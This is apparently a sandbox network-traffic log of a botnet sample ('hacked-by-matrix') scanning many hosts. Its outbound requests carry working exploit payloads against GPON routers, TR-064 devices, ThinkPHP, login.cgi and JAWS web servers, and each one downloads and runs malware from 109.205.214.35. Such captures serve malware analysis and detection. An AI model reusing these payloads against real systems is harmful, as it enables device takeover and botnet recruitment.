Mar 21, 2024 05:17:45.716275930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
618	192.168.2.13	53416	79.18.213.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.716301918 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
619	192.168.2.13	50408	5.212.20.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.716304064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
620	192.168.2.13	41460	119.218.100.36	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.881074905 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
621	192.168.2.13	40424	112.213.113.246	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.175105095 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:46.513211012 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:46 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
622	192.168.2.13	60788	112.78.3.171	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.189444065 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:46.546829939 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Thu, 21 Mar 2024 04:17:46 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
623	192.168.2.13	55228	54.237.5.149	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.202692986 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:46.743794918 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:46.844268084 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:46 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
624	192.168.2.13	47426	82.165.127.170	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.282830954 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:46.863769054 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:47.092968941 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:46 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
625	192.168.2.13	45990	195.148.129.112	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.342103958 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:47.418891907 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:48.698877096 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:48.909535885 CET	238	IN	HTTP/1.0 302 Moved Temporarily Location: https:///login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ Server: BigIP Connection: Keep-Alive Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
626	192.168.2.13	48148	88.198.229.239	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.351030111 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
627	192.168.2.13	54124	46.141.111.71	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.519035101 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
628	192.168.2.13	58550	88.214.57.86	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.519745111 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:46.695291042 CET	513	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:46 GMT Server: Apache/2.4.56 (Debian) Content-Length: 319 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 76 70 73 2d 7a 61 70 33 37 33 31 35 31 2d 31 2e 7a 61 70 2d 73 72 76 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Debian) Server at vps-zap373151-1.zap-srv.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
629	192.168.2.13	42964	72.167.220.135	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.673044920 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:46.820195913 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:46 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason { fo
Mar 21, 2024 05:17:46.820230961 CET	1286	IN	Data Raw: 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 2c 0a 20 20 20 20 20 20 Data Ascii: nt-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-color: #293A4A
Mar 21, 2024 05:17:46.820266008 CET	1286	IN	Data Raw: 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 65 61 6b 3a 20 62 72 65 61 6b 2d 61 6c 6c 3b 0a 20 20 20 20 20 20 20 20 Data Ascii: t: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align: center; ma
Mar 21, 2024 05:17:46.820534945 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 73 65 72 76 65 72 20 61 64 64 72 65 73 73 20 7b Data Ascii: margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0; margin: 0 10px;
Mar 21, 2024 05:17:46.820574999 CET	1286	IN	Data Raw: 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 44 6a 31 78 64 65 76 4e 6e 62 55 33 56 46 66 54 45 4c 2f 57 33 33 70 66 48 33 31 63 47 59 42 70 67 57 39 4c 62 61 33 49 63 38 43 38 69 41 37 37 Data Ascii: HHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGSD6bxI0RZSw3uuF0YjQHepjMxHmd9IgC1NbY1VSkdeB4vXMH0
Mar 21, 2024 05:17:46.820983887 CET	1286	IN	Data Raw: 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 59 37 70 34 38 35 45 53 41 56 6d 75 6c 64 76 7a 53 54 4b 77 32 66 71 48 53 47 4d 35 68 42 57 31 49 55 49 30 66 2f 4c 64 4f 4e 74 45 55 4b 58 47 43 39 35 6a 4b 2b 52 67 34 51 42 56 Data Ascii: tphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGECjUABhPLMdT/uKL0RIQ8DzYOKJu98V006LbSIkvBsRlzBPYkIRIH1743iEie
